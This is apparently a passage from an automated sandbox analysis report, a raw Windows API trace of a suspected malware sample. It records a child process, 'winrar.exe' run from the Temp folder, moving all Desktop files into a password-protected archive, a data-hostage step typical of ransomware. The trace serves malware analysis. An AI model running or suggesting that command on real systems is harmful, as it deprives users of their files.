Size=0xb28) returned 0x525f80 [0067.736] FreeEnvironmentStringsW (penv=0x5241a0) returned 1 [0067.736] GetProcessHeap () returned 0x510000 [0067.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x520070 | out: hHeap=0x510000) returned 1 [0067.736] DeleteProcThreadAttributeList (in: lpAttributeList=0x28f034 | out: lpAttributeList=0x28f034) [0067.736] _get_osfhandle (_FileHandle=1) returned 0x7 [0067.736] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0067.736] _get_osfhandle (_FileHandle=1) returned 0x7 [0067.736] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a7641ac | out: lpMode=0x4a7641ac) returned 1 [0067.736] _get_osfhandle (_FileHandle=0) returned 0x3 [0067.736] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a7641b0 | out: lpMode=0x4a7641b0) returned 1 [0067.736] SetConsoleInputExeNameW () returned 0x1 [0067.736] GetConsoleOutputCP () returned 0x1b5 [0067.736] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a764260 | out: lpCPInfo=0x4a764260) returned 1 [0067.736] SetThreadUILanguage (LangId=0x0) returned 0x409 [0067.737] exit (_Code=0) Process: id = "6" image_name = "winrar.exe" filename = "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe" page_root = "0x4cd3c000" os_pid = "0x340" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x8d4" cmd_line = "C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *" cur_dir = "C:\\Users\\WhuOXYsD\\Desktop\\" os_username = "EGLAFTB1N8YA\\WhuOXYsD" os_groups = "EGLAFTB1N8YA\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e60b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 24 os_tid = 0x6a8 [0049.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1dfa88 | out: lpSystemTimeAsFileTime=0x1dfa88*(dwLowDateTime=0x317a2dc0, dwHighDateTime=0x1d4e94c)) [0049.808] GetCurrentThreadId () returned 0x6a8 [0049.808] GetCurrentProcessId () returned 0x340 [0049.808] QueryPerformanceCounter (in: lpPerformanceCount=0x1dfa90 | out: lpPerformanceCount=0x1dfa90*=12514842502) returned 1 [0049.808] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.808] GetLastError () returned 0x57 [0049.808] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef7a20000 [0049.810] GetProcAddress (hModule=0x7fef7a20000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0049.810] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.810] GetLastError () returned 0x57 [0049.810] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0049.839] LoadLibraryExW (lpLibFileName=0x13f278990, hFile=0x0, dwFlags=0x800) returned 0x0 [0049.839] GetLastError () returned 0x57 [0049.839] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x77ae0000 [0049.839] GetProcAddress (hModule=0x77ae0000, lpProcName="FlsAlloc") returned 0x77af7190 [0049.839] GetProcAddress (hModule=0x77ae0000, lpProcName="FlsSetValue") returned 0x77afbd90 [0049.840] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.840] GetLastError () returned 0x57 [0049.840] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef7a20000 [0049.840] GetProcAddress (hModule=0x7fef7a20000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0049.840] GetProcessHeap () returned 0x290000 [0049.840] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.840] GetLastError () returned 0x57 [0049.840] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0049.842] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.842] GetLastError () returned 0x57 [0049.842] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x77ae0000 [0049.842] GetProcAddress (hModule=0x77ae0000, lpProcName="FlsAlloc") returned 0x77af7190 [0049.842] GetLastError () returned 0x57 [0049.843] GetProcAddress (hModule=0x77ae0000, lpProcName="FlsGetValue") returned 0x77b03520 [0049.843] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x3c8) returned 0x2b8030 [0049.843] GetProcAddress (hModule=0x77ae0000, lpProcName="FlsSetValue") returned 0x77afbd90 [0049.843] SetLastError (dwErrCode=0x57) [0049.843] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x1000) returned 0x2b8400 [0049.844] GetStartupInfoW (in: lpStartupInfo=0x1df960 | out: lpStartupInfo=0x1df960*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x1)) [0049.844] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0049.844] GetFileType (hFile=0x3) returned 0x0 [0049.844] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0049.844] GetFileType (hFile=0x7) returned 0x0 [0049.844] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0049.844] GetFileType (hFile=0xb) returned 0x0 [0049.844] GetCommandLineA () returned="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *" [0049.844] GetCommandLineW () returned="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *" [0049.844] GetLastError () returned 0x6 [0049.844] SetLastError (dwErrCode=0x6) [0049.844] GetLastError () returned 0x6 [0049.844] SetLastError (dwErrCode=0x6) [0049.844] GetACP () returned 0x4e4 [0049.844] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x228) returned 0x2b6d80 [0049.844] IsValidCodePage (CodePage=0x4e4) returned 1 [0049.844] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x1df930 | out: lpCPInfo=0x1df930) returned 1 [0049.844] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x1df1d0 | out: lpCPInfo=0x1df1d0) returned 1 [0049.844] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1df1f0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.844] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1df1f0, cbMultiByte=256, lpWideCharStr=0x1def20, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䓐)") returned 256 [0049.844] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䓐)", cchSrc=256, lpCharType=0x1df4f0 | out: lpCharType=0x1df4f0) returned 1 [0049.844] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1df1f0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.844] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1df1f0, cbMultiByte=256, lpWideCharStr=0x1deec0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0049.844] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.844] GetLastError () returned 0x57 [0049.844] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0049.846] GetProcAddress (hModule=0x77ae0000, lpProcName="LCMapStringEx") returned 0x77b2b710 [0049.846] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0049.846] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x1decb0, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0049.846] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x1df2f0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x08", lpUsedDefaultChar=0x0) returned 256 [0049.847] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1df1f0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.847] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1df1f0, cbMultiByte=256, lpWideCharStr=0x1deec0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0049.847] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0049.847] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x1decb0, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0049.847] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x1df3f0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x100) returned 0x2ba410 [0049.847] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x13f342ff0, nSize=0x104 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe")) returned 0x2f [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x85) returned 0x2a9b60 [0049.847] RtlInitializeSListHead (in: ListHead=0x13f342e00 | out: ListHead=0x13f342e00) [0049.847] GetLastError () returned 0x0 [0049.847] SetLastError (dwErrCode=0x0) [0049.847] GetEnvironmentStringsW () returned 0x2ba520* [0049.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Users\\WhuOXYsD\\Desktop", cchWideChar=1369, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1369 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x559) returned 0x2bafe0 [0049.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Users\\WhuOXYsD\\Desktop", cchWideChar=1369, lpMultiByteStr=0x2bafe0, cbMultiByte=1369, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=C:=C:\\Users\\WhuOXYsD\\Desktop", lpUsedDefaultChar=0x0) returned 1369 [0049.847] FreeEnvironmentStringsW (penv=0x2ba520) returned 1 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x130) returned 0x2bb550 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x1f) returned 0x2abf60 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x2a) returned 0x2b9800 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x31) returned 0x2b9840 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x3c) returned 0x2a6740 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x31) returned 0x2b9880 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x1a) returned 0x2abf90 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x24) returned 0x2abfc0 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x14) returned 0x2b65d0 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xd) returned 0x2b65f0 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x19) returned 0x2abff0 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x2d) returned 0x2b98c0 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x1b) returned 0x2ac020 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x17) returned 0x2b6610 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xe) returned 0x2b6630 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x8d) returned 0x2bb690 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x3e) returned 0x2a6790 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x1d) returned 0x2ac050 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x48) returned 0x2a67e0 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x12) returned 0x2b6650 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x18) returned 0x2b6670 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x1b) returned 0x2ac080 [0049.847] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x1e) returned 0x2ac0b0 [0049.848] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x29) returned 0x2b9900 [0049.848] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x1e) returned 0x2ac0e0 [0049.848] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xc) returned 0x2b6690 [0049.848] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x41) returned 0x2a6830 [0049.848] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x17) returned 0x2b66b0 [0049.848] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xf) returned 0x2b66d0 [0049.848] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x16) returned 0x2b66f0 [0049.848] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x2a) returned 0x2b9940 [0049.848] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x29) returned 0x2b9980 [0049.848] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x18) returned 0x2b6710 [0049.848] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x12) returned 0x2b6730 [0049.848] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x1e) returned 0x2ac110 [0049.848] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x12) returned 0x2b6750 [0049.848] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x18) returned 0x2b6770 [0049.848] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x46) returned 0x2a6880 [0049.848] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2bafe0 | out: hHeap=0x290000) returned 1 [0049.848] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77ae0000 [0049.848] GetProcAddress (hModule=0x77ae0000, lpProcName="InitializeConditionVariable") returned 